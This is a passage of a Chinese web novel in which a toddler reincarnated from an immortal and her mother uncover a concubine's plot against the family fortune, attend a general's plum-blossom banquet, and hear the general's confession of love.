冬梅看了看那个胖娃娃,又看了看自家小姐圆乎乎的小脸。
呃……确实挺像的。
“像。”她诚实地点点头。
小团子眼睛更亮了:“那泥说,窝应不应该,把窝寄几,买回来?”
冬梅:(╯□╰)
这是什么逻辑?
“冬梅……”她可怜巴巴地拽拽冬梅的衣角,“泥能不能……借窝钱钱?”
“窝把几己,买回去!”
冬梅心尖一颤。
看着这可怜又无助的大眼睛。
她差点就点头了。
但她想起夫人的叮嘱……
冬梅深吸一口气,“小姐,夫人说了,不能让您吃太多甜的……”
“窝就,次一个!”小团子竖起一根手指,“就辣个,长得像窝的辣个!”
冬梅狠心地别过脸:“不行。”
许呦呦的小脸垮了。
想起昨晚,她兴冲冲地跟娘亲展示顾振宇塞给她的那袋铜板……
整整一袋!能买多少糖人啊!
结果她娘眼皮都没抬,伸手就把钱袋子没收了。
“娘帮你存着,长大了给你。”
许呦呦当时就傻了。
这句话她熟啊!
天君那老东西也是这么说的!
“呦呦,我先帮你存着,等你长大了给你。”
然后呢?
四万年了,她愣是没长大。
宝贝,却一茬一茬地没了!
现在她娘又来这招?
哎!
大人都是骗纸!
最后,她狠狠一跺脚,眼眶通红,“窝不吃了!”
冬梅松了口气。
“回去,让歪祖父给窝买!”
冬梅:…(⊙_⊙;)…
主仆二人穿过人群,晃晃悠悠地往回走。
走到秀珍楼楼下时,许呦呦忽然瞥见二楼窗口一道熟悉的身影。
她猛地抬头,“冬梅,肘,窝带泥,去看好戏……”
冬梅见她神色不对,也不多问,抱起她悄无声息地进了酒楼。
秀珍楼是京城有名的酒楼,达官贵人常来常往。
冬梅抱着呦呦,避开小二,轻手轻脚地上了二楼。
第24章 他们,在做游戏
二楼雅间。
门虚掩着,里头传来低低的说笑声。
许呦呦从冬梅怀里探出小脑袋,透过门缝往里看。
李莲茵坐在一个男人怀里,正撒着娇。
她穿着一身藕荷色的衣裙,衣衫微乱,脸上红扑扑的,半分不似在许府那副梨花带雨的可怜样。
搂着她的男人约莫三十出头,面容俊朗,眉眼间带着几分阴鸷,正捻着她一缕发丝把玩。
“爷,这些日子,妾身可苦死了。”李莲茵软绵绵地靠在他怀里,声音娇得能掐出水来。
“哦?发生何事?”男人漫不经心地问。
“那死老太婆天天逼我去侍疾,端屎端尿的,把我当丫鬟使!”李莲茵咬牙切齿,“还有那个病秧子许清烟,疯疯癫癫的,动不动就发作,发起病来又抓又咬,我手上现在还有伤呢!”
她伸出白嫩的手,果然有几道浅浅的抓痕。
男人捏着她的手看了看,心疼地亲了亲:“委屈你了。”
“还有许振山那个废物!”李莲茵越说越气,“他被罢官之后,整日酗酒,喝了就发酒疯,说什么‘婉云我对不起你’——恶心死了!”
她撇撇嘴,一脸嫌弃。
“爷,”李莲茵往男人怀里蹭了蹭,“你什么时候带我们娘儿俩走?”
男人轻抚她的背,声音温柔得像哄小孩:“再忍忍,快了。”
“快了快了,每次都这么说!”李莲茵嘟起嘴,“娇娇都三岁了,你这个当爹的,一天都没好好陪过她……”
门外的许呦呦眼睛瞪得像铜铃。
窝靠!!!
渣爹不仅头上绿草地!
还成了给人养孩子的冤大头!
男人抬眸,神情款款地抚着李莲茵的脸。
“莲茵,咱们的大计,现在就只差一样东西了。”
“什么?”
“银子。”
男人眼神幽深,“杨婉云手里,有杨家全部的家产。”
李莲茵一愣:“爷的意思是……”
“你回去,想办法哄许振去挽回杨婉云。”男人低声道,“杨婉云那个蠢货,当初爱他爱得死去活来,哪里就能这么绝情?”
“只要许振山能重新得到杨婉云的信任,杨家那金山银山,早晚是咱们的。”
李莲茵皱眉:“可是杨婉云现在恨死他了……”
“所以才要你去哄啊。”男人捏捏她的脸,“你那么聪明,哄个废物还不容易?”
李莲茵咬了咬唇,最终还是点了点头。
“等银子到手,大计得谋。”男人把她搂紧了,声音低得近乎耳语,“到时候,你就是一人之下万人之上的——皇后。”
李莲茵眼睛亮了。
门外。
许呦呦的小拳头握得滋滋作响。
敢欺负窝凉亲?
敢打窝家钱钱的主意?
她小脸气得通红,恨不得冲进去把这俩狗男女暴打一顿。
这时,门里头,忽然传来一阵奇怪的声音。
“唔……爷……”
“嗯……嗯……爷轻点……啊啊……”
许呦呦眨眨眼,把眼睛凑到门缝上。
她看得正起劲,忽然眼前一黑。
冬梅一把捂住她的眼睛,把她从门边捞起来,抱在怀里就走。
“唔唔唔——”小团子挣扎。
冬梅抱着她,脚底生风,一溜烟下了楼,冲出秀珍楼。
许呦呦扒开她的手,大口喘气。
“冬梅!泥干嘛!”
“他们在做虾米?”
冬梅脸烧得像块红布,张了张嘴,憋了半天,“在……在做游戏。”
“游戏?”许呦呦歪头,“脱脱,游戏呀?”
冬梅:←_←
“小姐,咱们……咱们先回府。”她抱起呦呦,逃也似的往杨府跑。
许呦呦趴在她肩上,还在嘀咕:
“辣个游戏……好玩好玩……”
冬梅差点一头撞在墙上。
回到杨府。
冬梅将秀珍楼一事,向杨婉云禀报。
她冷笑了一声,端起茶盏,轻轻抿了一口。
“所以,”她放下茶盏,“许振山头上,顶着一片大草原?”
许呦呦在一旁轻轻哼着从司命那学来的小调:“爱似一道黄,绿呀绿油油……”
杨婉云:…(⊙_⊙;)…
这闺女,都是从哪学来的?
“那个男人,”她不紧不缓地问到,“看清长什么样了?”
冬梅想了想:“约莫三十出头,眉眼阴鸷,衣着华贵,不像是寻常人。”
杨婉云沉吟片刻,“去查!”
冬梅领命,一瞬间便消失在正厅。
“夫人,镇国大将军府送来帖子,邀请夫人带着小姐赴赏梅宴。”刘嬷嬷从外面走进来,将帖子交给了杨婉云。
呦呦被帝后喜爱之事,这在都城世家里,不是什么秘密。
所以,最近邀约的帖子很多。
杨婉云不想让呦呦被世家规矩所捆绑,所以婉拒了很多宴请。
但是,眼下镇国大将军府,不能不去,这可是皇后的母家。
三日后。
杨婉云带着呦呦来到镇国大将军府。
只见府门大开,宾客如云,往来皆是京都数得上名号的世家贵眷。
“凉亲,”小团子仰头,奶声奶气,“辣个……爹爹家?”
杨婉云脚步一顿,低头看她:“哪个爹爹?”
“就……就辣个爹爹呀!”小团子眨巴眼,小胖手比划着,“高高的,壮壮的,抱窝骑大马的那个!”
杨婉云:(⊙o⊙)?
“呦呦,这话以后,可不能乱说哦!”杨婉云赶紧捂着她的小嘴。
心里一阵酸涩,呦呦从小就没有得到父爱。
她陪顾将军上山剿匪,定然萌发了对父爱的渴望。
以后,一定要对呦呦好,以补偿她缺失的父爱。
“走吧。”她敛下心神,牵着女儿往里走。
将军府后花园,梅香阵阵。
满园红梅傲雪怒放,宾客三三两两聚在廊下赏梅叙话。
杨婉云带着呦呦刚踏进园门,就听见一阵娇笑声从人群中传来。
“许夫人真是好福气,听说许大人日日陪在夫人身边,恩爱得很呐!”
“哪里哪里,”一道柔媚的女声响起,带着恰到好处的羞涩,“夫君不过是心疼妾身操劳,多陪了些罢了。”
杨婉云脚步一顿,循声望去,只见人群中,李莲茵一袭嫣红锦裙,满头珠翠,正被几个妇人簇拥着,笑得花枝乱颤。
许呦呦也看见了,小嘴一咧:“哇哦,绿油油……”
第25章 一个玩意罢了
杨婉云轻轻捏了捏女儿的小手。
小团子立刻闭嘴,但眼睛亮晶晶的,一副等着看好戏的表情。
李莲茵正春风得意。
今日这赏梅宴,她可是以许府正妻的身份来的。
许振山虽被贬官,可当年毕竟是皇帝钦点的探花郎,又曾官居礼部侍郎,谁敢说他一定翻不了身?
更何况,她身后还站着伯府。
虽然伯府不认她这个庶女,可外人不知道啊。
这不,围着她的这些妇人,哪个敢小看她一眼?
“许夫人,”一个尖嘴妇人凑上来,压低声音,“听说您家那位正室,带着女儿搬出去住了?”
李莲茵叹了口气,一脸无奈:“姐姐性子烈,与夫君闹了些别扭,带着孩子回了娘家。妾身劝也劝了,求也求了,可姐姐就是不肯回来。”
“这不,打理府里上上下下,婆母侍疾、照顾小姑子,全落在妾身一个人身上。”
她眼眶微红,拿帕子按了按眼角。
“也怪妾身没用,没能留住姐姐。”
几个妇人纷纷安慰:“许夫人太自谦了,您这般贤惠,是许家祖上积德。”
“就是,那杨氏不过商贾出身,哪有您这样的气度?”
李莲茵赶紧谦虚地推脱,眼里的得意却不停闪烁。
商贾女,也配跟她争?
她正得意,余光忽然瞥见一道身影。
那道身影穿过月洞门,牵着个粉雕玉琢的小团子,缓步走进园中。
李莲茵的笑容僵在脸上。
杨婉云?
她怎么进来的?
这种级别的宴会,杨婉云一个商户女,怎么可能收到帖子?
她下意识迎上去,挡在杨婉云面前。
“姐姐?”她脸上堆起笑,声音却不高不低,恰好让周围的人听见,“你怎么也来了?”
杨婉云脚步不停,连眼皮都没抬,从她身侧径直走过。
李莲茵的笑容僵住。
周围几个妇人面面相觑。
李莲茵咬咬牙,追上去两步,声音带上几分委屈:
“姐姐,妾身知道你在生气。可今日这宴会,没有帖子是进不来的。”
“你若是混进来的,还是快些走吧,免得被人赶出去,丢了许家的脸面。”
她着急地说着,一副为杨婉云着想的样子。
周围已经有人开始窃窃私语。
“这就是许家那位正室?听说是个商户女……”
“怎么连帖子都没有就闯进来了?”
“这也太没规矩了吧……”
李莲茵垂眸,掩下眼底的笑意。
杨婉云,你也有今天。
“好狗不挡道!”杨婉云不屑看她一眼,牵着呦呦继续往前走。
李莲茵站在原地,脸上一阵青一阵白。
这时,一个尖嘴妇人忍不住开口了:
“杨氏,你也太目中无人了吧?李夫人好心劝你,你不领情也就罢了,你怎还骂人?”
“真是言行无状,难怪是商户女。”
“就是,还带着孩子私自离家,也不知道藏的是什么心思!”
“我要是李夫人,才懒得管你呢!”
与李莲茵交好的几位夫人,在一旁“义愤填膺”。
“放肆!”
一声厉喝,从人群后方传来。
众人纷纷让开。
只见一个头发花白的老妇人,在丫鬟搀扶下,中气十足地走过来。
她身着绛紫色福纹褙子,虽已年迈,通身的气派却压得人喘不过气来。
是顾老夫人。
镇国大将军府的老封君,当今皇后的生母。
几个妇人脸色大变,慌忙行礼。
李莲茵也赶紧跪下,心却往下沉了沉。
顾老夫人看都没看她们一眼,径直走到杨婉云面前。
杨婉云正要行礼,却被她一把握住了手。
“好孩子,”顾老夫人眼眶微红,上上下下打量着她,“可算见到你了。”
她拉着杨婉云的手,转向众人,声音朗朗:
“杨氏是老身亲自下帖请来的贵客。怎么,有人有意见?”
那几个帮腔的妇人脸都白了,赶紧屈膝行礼。
“老夫人恕罪!臣妇不知……”
“不知?”顾老夫人冷笑一声,“不知就可以随意污蔑人?”
她目光一转,落在李莲茵身上。
李莲茵跪在地上,浑身僵硬。
“你就是许家那个妾?”顾老夫人声音不高,却像一记耳光扇在她脸上。
李莲茵嘴唇哆嗦:“妾身……妾身是平妻……”
“平妻?”顾老夫人笑了,脸上写满了不屑,“老身活了六十多年,还从没听说过什么平妻。”
“妾就是妾,装什么妻?”
李莲茵脸色惨白,指甲掐进掌心。
周围那些方才还奉承她的妇人,此刻一个个低着头,恨不得离她八丈远。
“起来。”顾老夫人拉起杨婉云,“进去说话,外头风大,别冻着孩子。”
她低头看向许呦呦,笑得更是慈祥,这娃娃就是她心中的梦中情孙啊。
“这就是呦呦吧?哎哟,这小模样,跟画上的仙童似的!”
许呦呦眨巴眨巴眼,脆生生道:“婆婆好!”
顾老夫人心都要化了:“诶!好孩子!”
这时,人群后方又传来一阵笑声。
“哟,这是怎么了?跪了一地?”
几个衣着华贵的妇人说笑着走了过来。
为首的妇人约莫三十出头,头戴赤金凤钗,通身气派不凡——正是庆王妃。
她身旁跟着的,是工部尚书夫人,还有几位在京都素有贤名的命妇。
庆王妃一眼看见杨婉云,眼睛一亮:
“婉云!你可算出来了!我给你下了多少帖子,你都不接,原来只有老封君能请得动!”
杨婉云连忙行礼:“王妃恕罪……”
“恕什么罪?”庆王妃一把扶起她,拉着她的手笑道,“你呀,就是太要强。有什么事不能跟我们说?非得一个人扛着?”
工部尚书夫人也走过来,亲热地挽住杨婉云的另一只手:
“就是,那许家的事,我们可都听说了,有些人就是跳梁小丑,怎么蹦跶,都是小丑。”
她说着,目光凉凉地扫过跪在地上的李莲茵。
李莲茵浑身一僵。
庆王妃顺着她的目光看去,挑了挑眉:
“哦,这就是许振山那个妾?”
她轻笑一声,声音不高,却清清楚楚传进每个人耳朵里:
“本王妃还当是什么了不得的人物,原来也就这样。一个玩意罢了,也值得你们在这儿奉承?”
那几个方才帮腔的妇人恨不得把脑袋埋进地里。
第26章 你是姨姨的福星
李莲茵脸色惨白如纸。
这时,庆王妃收起笑容,厉声斥责,“妾室不敬正妻,以下犯上,按律该当如何?”
尚书夫人慢悠悠接话:“轻则掌嘴,重则发卖。”
李莲茵身子一软,几乎瘫倒在地。
她怀里抱着的许娇娇被惊醒,哇的一声哭出来。
“娘……娘……怕……”
李莲茵抱着女儿,浑身颤抖。
她能感觉到周围那些目光,诮的、鄙夷的、幸灾乐祸的。
方才还奉承她的那些妇人,此刻连看都不看她一眼。
“行了,”顾老夫人摆摆手,“今儿是好日子,别让些不相干的人坏了兴致。来人——”
两个婆子上前。
“将她扔出去!”顾老夫人毫不留情,一脸厌恶。
就这样,李莲茵抱着许娇娇,被人直挺挺地扔了出去。
将军府暖阁里,迅速恢复了之前喜乐融融的气氛。
顾老夫人拉着杨婉云的手,越看越满意。
这眉眼,这气度,这通身温婉又端着的劲儿,难怪那狗小子念念不忘这么多年。
“好孩子,”老夫人拍拍她的手,“别理会那些脏东西,往后老婆子给你撑腰。”
杨婉云心头一暖,屈膝行礼:“多谢老夫人。”
“叫伯母!”
杨婉云顿了顿,实在不好拒绝老夫人的盛情,轻声道:“伯母。”
顾老夫人笑得见牙不见眼,拉着她在榻边坐下。
庆王妃也凑过来,挤在杨婉云另一边,亲热地挽住她的胳膊:
“婉云,快说说,你接下来打算怎么办?”
庆王与顾振宇是一个被窝睡出来的,所以两家关系甚为亲厚。
庆王妃每次来将军府,从来不把自己当外人。
她也问出了老夫人心里最关心的问题。
杨婉云垂眸,沉默片刻。
“分文不少的拿回一切,”她声音不高,却字字清晰,“然后和离,过自己想过的日子。”
庆王妃眼睛一亮:“说得好!好妹妹,我陪你!”
杨婉云一愣:“王妃?”
“什么王妃不王妃的,”庆王妃摆摆手,“我早就想跟那个木头和离了。”
她凑近杨婉云,压低声音,眼里却闪着兴奋的光:
“咱们俩一起和离,然后搬一块儿住!姐妹相伴,共同养育呦呦,你看,我平白多了个这么可爱的女儿,多好!”
尚书夫人在一旁掩唇笑:“王妃,您这话要让王爷听见,又该哭了。”
“他哭他的,关我什么事?”庆王妃撇嘴,“成婚十年,我肚子都没动静,他母妃天天阴阳怪气,我还赖在王府做什么?耽误他娶小妾传宗接代吗?”
这话说得爽快,可大家都听出了其中的苦涩。
就在这时,一只软乎乎的小胖手忽然拽了拽庆王妃的衣袖。
“姨姨,”许呦呦仰着小脸,笑眯眯道,“泥肚肚里……有宝宝咯!”
奶声奶气,却清清楚楚砸进每个人耳朵里。
暖阁里瞬间安静了。
众人纷纷看向庆王妃。
小家伙顿了顿,伸出两个手指头,接着又补充道:“似三!”
庆王妃张着嘴,半天发不出声音。
她成婚十年,看了无数大夫,吃了无数汤药,肚子始终没有动静。
她已经放弃了。
她甚至做好了和离的准备。
可现在,她竟然有宝宝了?
还是三?
顾老夫人最先反应过来,一拍桌子:“来人!去请府医!快!”
府医来得飞快。
他在将军府供职三十余载,医术精湛,名声在外。
此刻,他搭上庆王妃的腕脉,凝神细听。
半晌,府医抬起头,满脸喜色:
“恭喜王妃!是喜脉!已有一月有余了。”
巨大的狂喜袭来,庆王妃差点晕过去。
尚书夫人一把扶住她,又惊又喜:“真的?真的是喜脉?!”
“千真万确!”府医捋着胡子笑道,“王妃脉象流利,只是日子尚浅,不易察觉。再过半月,反应就该明显了。”
“可能看出是几胎?”老夫人激动地嘴角直咧咧。
“回老夫人,王妃的脉象苍劲有力,或有可能是多胎,只是要等月份再大些,才能听清。”
众人纷纷看向呦呦。
她刚才说了三个!
竟然真有可能是三个!
庆王妃的眼泪哗地流下来。
她一把抱住呦呦,紧紧搂在怀里。
“呦呦!你可真是姨姨的福星……”
“恭喜王妃……”
“贺喜王妃……”
众人纷纷恭贺!
热闹了好一阵,顾老夫人终于想起正事。
她拉着杨婉云的手,笑眯眯道:“好孩子,伯母听人说你绣工极好,”
“我最近刚得了一批浮光锦。可府里那些绣娘,手艺粗笨,我实在看不上眼。”
“想请你去后院帮我看看绣样。”
杨婉云一怔,随即点头:“伯母言重了,这是婉云的福气。”
老夫人满意地拍拍她的手,起身带着她往外走。
穿过一道月洞门,又走过一条长长的抄手游廊。
老夫人把杨婉云带进一座僻静的亭子里。
亭中设有暖炉,炭火烧得正旺,茶点一应俱全。
“好孩子,你在这儿等着,伯母去拿样子就来。”
杨婉云不疑有他,屈膝道:“伯母慢走。”
老夫人笑着点点头,转身走了。
只是那脚步,怎么看都有点……迫不及待?
杨婉云在亭中坐下,等了片刻。
却等来一阵沉稳的脚步声。
她抬头。
顾振宇站在亭外,一身玄色锦袍,身姿挺拔如松。
却气息不匀,看着像是飞跑赶来的。
杨婉云心头一跳,下意识站起身。
顾振宇却没有进亭子,只是站在亭外三丈远的地方,朝她抱拳行礼:“杨小姐。”
杨婉云一怔,他竟然叫她“小姐”……
她屈膝回礼:“顾将军。”
看着眼前,自己朝思暮想的小仙女,顾振宇又激动,又紧张,他深吸一口气。
“杨小姐,”他开口,声音沉沉的,“四年前,你是否在京城西郊遇过险?”
杨婉云一怔,不敢置信地看着他。
“四年前,”顾振宇眼神灼灼地看着她,“我追击一伙北狄余孽,途经西郊,正撞上那伙歹人行凶。”
“有个女子去城外上香,被贼寇误伤。”
“我拼死救下她,把她送到医馆门口。可追兵将至,我不敢停留,只把身上的银子都掏出来,一起扔在门口。”
“然后我去引开追兵。”
“等我回去找她时,她已经不见了。”
他抬起头,直视着杨婉云的眼睛。
第27章 我喜欢你
这双眼睛让他魂牵梦萦了四年,此刻却充满了惊愕、不敢置信,甚至还有愤怒。
“我找了她四年。”
“我找遍了京城所有医馆。可她就像人间蒸发了一样,怎么也找不到。”
“只是,没想到……”他的声音低下去,苦笑一声,“原来她离我这么近。”
杨婉云脑子里轰的一声。
四年前……
那日她独自去城外上香,回程时遇到一伙歹人。
那些人骑着马,提着刀,见人就砍。
她的马车被冲散,车夫当场毙命。
她以为自己要死在那里。
然后,一个身影冲了过来。
刀光剑影,血肉横飞。
然后她晕了过去。
再醒来时,她躺在医馆里,身边坐着个陌生的书生。
那书生说,是他救了她。
她信了。
可现在……
仔细想来,当年醒来时,身上那些消失的首饰。
她以为是逃命时弄丢了。
还有顾将军扔下的一袋子碎银,她醒来后,也丝毫未见。
怕是都进了畜生的口袋。
难怪,她每次问许振山,他一介书生,手不能抗,肩不能提,是如何将她救下,还送到医馆。
而他总闪烁其词。
“我当时……我当时只想救你,哪里还顾得上凶险……”
“都过去了,婉云,只要你好好的就行……”
她以为是他腼腆,不愿多提。
她为了这份“救命之恩”,葬送了三年青春,赔上了无数嫁妆。
呵!
多愚蠢,多可笑啊!
“婉云?”顾振宇见她落泪,心头大急,上前一步又生生止住,“你怎么了?是不是我吓着你了?”
杨婉云摇头,眼泪却止不住。
“我没事,当日在医馆中醒来,我只看到许振山,他说是他救了我,所以我就以为……”她紧紧攥着帕子,指节发白。
“你跟他成亲,也是因为他救了你?”顾振宇赶紧追问,心里却有莫名的酸涩。
杨婉云垂下眼帘,泪水滑过脸颊。
“是。”她的声音很轻,轻得像一片落叶,“他救了我之后,对我穷追不舍,日日守在我府门口,我竟傻傻地被打动了……”
随后,又讽刺地笑了出来。
顾振宇的心像被人狠狠攥住,疼得几乎喘不过气来。
他多想冲上去抱住她,想替她擦干眼泪,更想把那个欺骗她的畜生碎尸万段。
可他不敢动。
他怕吓着她,怕唐突了她,怕她连这份心意也一并拒绝。
“婉云。”他哑着嗓子,声音里满是心疼,“你放心,我不会放过他!”
杨婉云抬起头,泪眼朦胧地看着他。
“不,这事,望将军别牵扯进来,我自有筹谋,绝不会放过那个畜生。”
杨婉云心里涌起滔天恨意,但是她却不想将顾振宇扯进来。
“不,婉云,一切都有我。”顾振宇深吸一口气,往前走了一步。
他看着她,目光沉得像一池春水,潋滟如波。
“这四年,我从没放弃过找你。”
“甚至街上看到背影相似的女子,会追上去看。我还托人查遍了京城所有医馆的接诊记录。”
“我想找到她,告诉她,她就是照亮我生命的小仙女,我想……我想……”
他顿了顿,喉咙发紧。
“我想娶她。”
杨婉云心头一颤,猛地抬头看他。
“我知道,”顾振宇迎上她的目光,一字一句,“我知道我现在说这些,太唐突了。你尚未和离,心里还有伤,不一定能接受我。”
“可我就是想让你知道。”
“我喜欢你,从四年前就喜欢。这些年,从未变过。”
“若是你不愿和离,我便在角落里默默守护你。”
“若是你想要和离,那我余生,更不会放手,爱你护你,直到你愿意接受我为止。”
“反正,”他扯了扯嘴角,“我等了四年,再等几年也无妨。”
杨婉云怔怔地看着他,眼眶又红了。
“对了,”顾振宇忽然想起什么,眼睛亮了一下,“呦呦很喜欢我,她说她同意让我做她爹爹。”
“婉云,你放心,我定会将呦呦当我亲生女儿,甚至你我成婚后,我完全可以不要孩子,只要……”
话还未说完,杨婉云震惊的脸上,蕴满羞红,当即打断了他。
“顾将军!”
“我……我是成过亲的人,”她攥紧帕子,指节泛白,“我嫁过人,生过孩子,就算和离,也不复清白之身。”
“而顾将军,你是威震八方的镇国大将军,皇后亲弟,京都多少名门闺秀盼着嫁你?”
她深吸一口气,压下心头的悸动。
“我配不上你。”
顾振宇眉头一皱,急得又往前走一步,“婉云,你成过亲又如何?那是你被蒙骗。”
“你生过孩子又如何?呦呦那丫头,我打心里喜欢。”
“最重要的是,我喜欢你,不管是从前,还是现在,以后,都是如此……”
杨婉云心头狠狠一颤。
“顾将军,请甚言……”
说罢,提着裙子就跑。
“婉云!”顾振宇在身后喊。
她跑得更快了。
一路跑出亭子,跑过游廊,心还在狂跳。
杨婉云一口气跑回暖阁,缓好心神后,走了进去。
“夫人?”刘嬷嬷迎上来,见她面色绯红,吓了一跳,“您怎么了?”
“无碍。”杨婉云摆摆手,面上强装镇定,“嬷嬷,去跟老夫人说一声,我身子有些不爽利,先带呦呦回去了。”
刘嬷嬷一怔,虽觉突然,却也没多问,转身去了。
“婉云,怎么这就走了?”还沉浸在喜悦中的庆王妃,一脸疑惑。
“是不是欺负你?你告诉我是谁,看我不扒了他的皮!”
庆王妃一把拉住杨婉云的手,语气却很冷峻。
她在京中,是出了名的疾恶如仇,护犊子护得跟眼珠子似的。
再加上这娘儿俩对她有恩,更是不由分说,要为杨婉云做主。
“王妃,我没事,就是前几日偶感风寒,身子没好利索,留在这,怕病气影响他人就不好了。”杨婉云笑着安抚庆王妃。
顺手,还将窝在榻上吃糖果吃得正起劲的小团子抱了起来。
许呦呦生无可恋地望着那盘子糖,赶紧偷偷顺了几颗。
庆王妃叹了口气,也不好强留,只得拍拍她的手:“那你好好歇着,改日我再去看你。”
“以后,有任何事,随时找我,庆王府永远给你撑腰。”
第一卷 第28章 猪头爹,丑
杨婉云屈膝行礼,抱着呦呦上了马车。
镇国大将军府。
众人散去后。
顾老夫人听完嬷嬷的禀报后,将桌子拍的“咚咚”作响。
“这个混账东西!”
满屋子的丫鬟婆子吓得一哆嗦。
老夫人气得抚着胸口:“我费尽心思,好不容易把人家姑娘请来了,他倒好,三言两语就把人吓跑了!”
“我香香的,美美的儿媳妇,就这么跑了!”
“还有窝做梦都想要的孙女,也跑了!”
老夫人越说越气,指着门外破口大骂:
“让那混账东西,给我滚过来!”
顾振宇正从外头进来,迎面撞上亲娘的怒火,脚步一顿。
“娘……”
“别叫我娘!”老夫人抄起手边的拐棍就要砸,被嬷嬷死死拦住,“废物玩意!人家姑娘好不容易来了,你倒好,把人吓跑了?”
顾振宇耷拉着脑袋,却也不恼,只低声道:“娘,我没吓她……”
“没吓她?那人家为何要跑?”老夫人瞪他,手里的拐杖敲得“咚咚”直响。
“真是造孽啊,到我这把年纪了,谁家老太太不是儿孙满堂?就我!就我啊!”
顾振宇低着头,看着恭敬,心里却已经将许振山的祖宗十八代都过了一遍。
“娘,”他抬起头,“我出去一趟。”
老夫人一愣:“去哪儿?”
顾振宇没答,转身大步流星地走了。
“逆子!!”老太太望着他的背影,气得更甚。
不行,指望这臭小子,迟早得黄,她得赶紧让女儿想想办法。
翌日,珠翠阁。
这是京城最大的首饰铺子,雕梁画栋,珠光宝气。
三层楼阁,每一层都陈列着珍稀珠宝——东珠、翡翠、红蓝宝石,件件价值连城。
因此,这里也深受京都贵妇闺女的喜爱。
杨婉云牵着呦呦,缓缓踏进去。
“凉亲,介也似,泥的产业?”呦呦趴在娘亲怀里,上下打量。
杨婉云宠溺一笑,“是啊,这以后,就都是呦呦的。”
小家伙瞬间笑的见牙不见眼,哇哇哇,好多钱钱啊!
傍个富婆娘亲真好哇!
难怪司命总说,爹爹有钱,数不清的兄弟姐妹,娘亲有钱,享不尽的荣华富贵!
“放肆,你这是瞧不上谁呢?”
一道尖厉的女声穿透门帘,钻进耳朵里。
杨婉云眉头微蹙。
这声音……怎么这么耳熟?
下一刻,门帘被人掀开。
许振山站在门口,脸上青一块紫一块,肿得像猪头,怀里抱着许娇娇,身前站着李莲茵。
四目相对。
许振山愣住,尴尬的伸手,想挡住自己的脸。
又突然觉得有点无处遁形。
“婉……婉云?”他结结巴巴地开口,下意识想上前一步。
李莲茵眼珠一转,挽住许振山的胳膊,娇声道:“夫君,好巧呀,姐姐也在这儿。”
她特意把“姐姐”两个字咬得很重,像是在提醒什么。
杨婉云连眼皮都没抬,抱着呦呦径直往里走。
许振山尴尬地站在原地,脸上的青紫在烛光下愈发刺眼。
许呦呦眨巴眨巴眼,脆生生道:“猪头爹,丑!”
许振山脸色一僵,“爹爹只是,昨儿个不小心摔了一跤。”
心里却在不停地咒骂昨日那伙贼人。
光天化日之下,他竟然被人套上麻袋,拖进巷子里,狠狠揍了一顿。
对方竟然还嚣张地跟他说,以后见他一次,就揍他一次。
他气得跑到大理寺去报案,结果大理寺敷衍了事地说,会慢慢排查,让他回去等着。
这一等,就没了消息……
“摔跤?”杨婉云抬眼看他,嘴角噙着一抹淡淡的笑,“没想到许大人,脑子不好使,眼睛也不好使了……”
许振山脸色一变。
“婉云……”许振山张了张嘴,想说什么,却被李莲茵抢了先。
“姐姐说笑了。”李莲茵挽着许振山往里走,脸上堆起温婉的笑,“今日是娇娇生辰,夫君特意带我们娘儿俩来挑几件首饰。”
哼,杨婉云,你入了镇国将军府老夫人的眼又如何?
你的男人不还是依然绕着我们母女转。
许娇娇从许振山怀里探出头,手里攥着一套头面。
那是珠翠阁去年流行的款式,虽也是赤金,却已是过时的旧样子。
“爹爹,我要这个!”许娇娇晃着手里的头面,一脸骄纵。
许振山却没看她,眼睛直勾勾地盯着杨婉云。
她……好像比从前更好看了。
一身素雅的月白色褙子,乌发挽成简单的髻,只簪着一支白玉兰花簪,通身清贵气度,哪里还有半分当初在府里做小伏低的影子?
再看李莲茵,满头珠翠,花枝招展,却透着一股子俗艳。
许振山心里忽然涌起一股说不清的滋味。
他上前一步,把许娇娇手里的头面抢过来,往许呦呦手里塞。
“呦呦,爹爹好想你。”他蹲下身,脸上挤出讨好的笑,“这是爹爹送你的礼物,喜不喜欢?”
许呦呦低头看看手里的头面,小脸上没什么表情。
许振山讪讪地笑,又转向杨婉云:“婉云,我错了。以前是我不对,我不该……不该那样对你。”
“可咱们终究是一家人,呦呦也不能没有爹。”
“你回来吧,我保证,以后绝不亏待你们母女。”
他说得情真意切,眼眶都微微泛红。
杨婉云冷眼看着他,毫无波澜。
“爹爹!”许娇娇忽然大哭起来,扑过去抢许呦呦手里的头面,“那是我的!是我的!你凭什么给她!”
她指着许呦呦,尖声道:“这个小贱人,凭什么拿我的东西!”
珠翠阁里瞬间安静了。
几个正在挑选首饰的妇人纷纷扭头看过来。
许振山脸色一僵。
李莲茵心里暗骂女儿不懂事,脸上却挤出笑,蹲下身哄她:“娇娇不哭,爹爹再给你买更好的……”
“我不要更好的!我就要那个!”许娇娇哭得惊天动地,“那是我的!许呦呦这个贱种不配!”
“住口!”许振山厉声喝道。
许娇娇被吓得一愣,随即哭得更大声了。
李莲茵脸上的笑也挂不住了,咬着唇,眼眶泛红,可怜兮兮地看着许振山。
许振山被她看得心里发虚,又架不住许娇娇哭闹。
只得硬着头皮对杨婉云道:“婉云,今日是娇娇生辰,你……你作为嫡母,理应给她置办……”
第一卷 第29章 次软饭,不要脸
杨婉云真是被气笑了。
呸!
真是不要脸他妈给不要脸开门,不要脸到家了!
“许振山,”她看着他,声音不高,却字字清晰,“你带着妾室和你们的女儿过生辰,这就是你说的想念?”
许振山脸色骤变。
“不……不是的。”
杨婉云没理他,伸手把那头面拿过来,随手扔给许振山。
“我家呦呦,从来不稀罕别人的东西。”
许振山愣愣地接住,脸上火辣辣的,仿若被人打了耳光。
杨婉云转头看向掌柜的,声音淡淡的:“把前几日定的那套头面拿来,还有那副赤金项圈,一并取出来。”
掌柜的赶紧去取,很快捧出两个锦盒。
打开的瞬间。
金光璀璨,满室生辉。
一套红宝石赤金头面,赤金缠丝,红宝石足有拇指大小,颗颗晶莹剔透,在烛光下流光溢彩。
还有一副赤金项圈,雕着缠枝莲花,底下坠着一块上好的羊脂玉,温润细腻,价值连城。
几个看热闹的妇人倒吸一口凉气。
“这……这是珠翠阁今年最好的头面吧?”
“那红宝石,我上月来问过,说是被人定走了,原来是杨夫人啊!”
“还有那项圈,一看就是价值连城的好货……”
李莲茵的眼睛都直了。
她嫁进许府三年,许振山给她的首饰加起来,也不及这套头面。
杨婉云这个女人,都是弃妇了,凭什么还这么好命?
许娇娇更是看呆了,扯着许振山的衣袖嚷道:“爹爹!我要那个!那个红宝石的!它比我的好看!”
她说着,竟扑过去要抢。
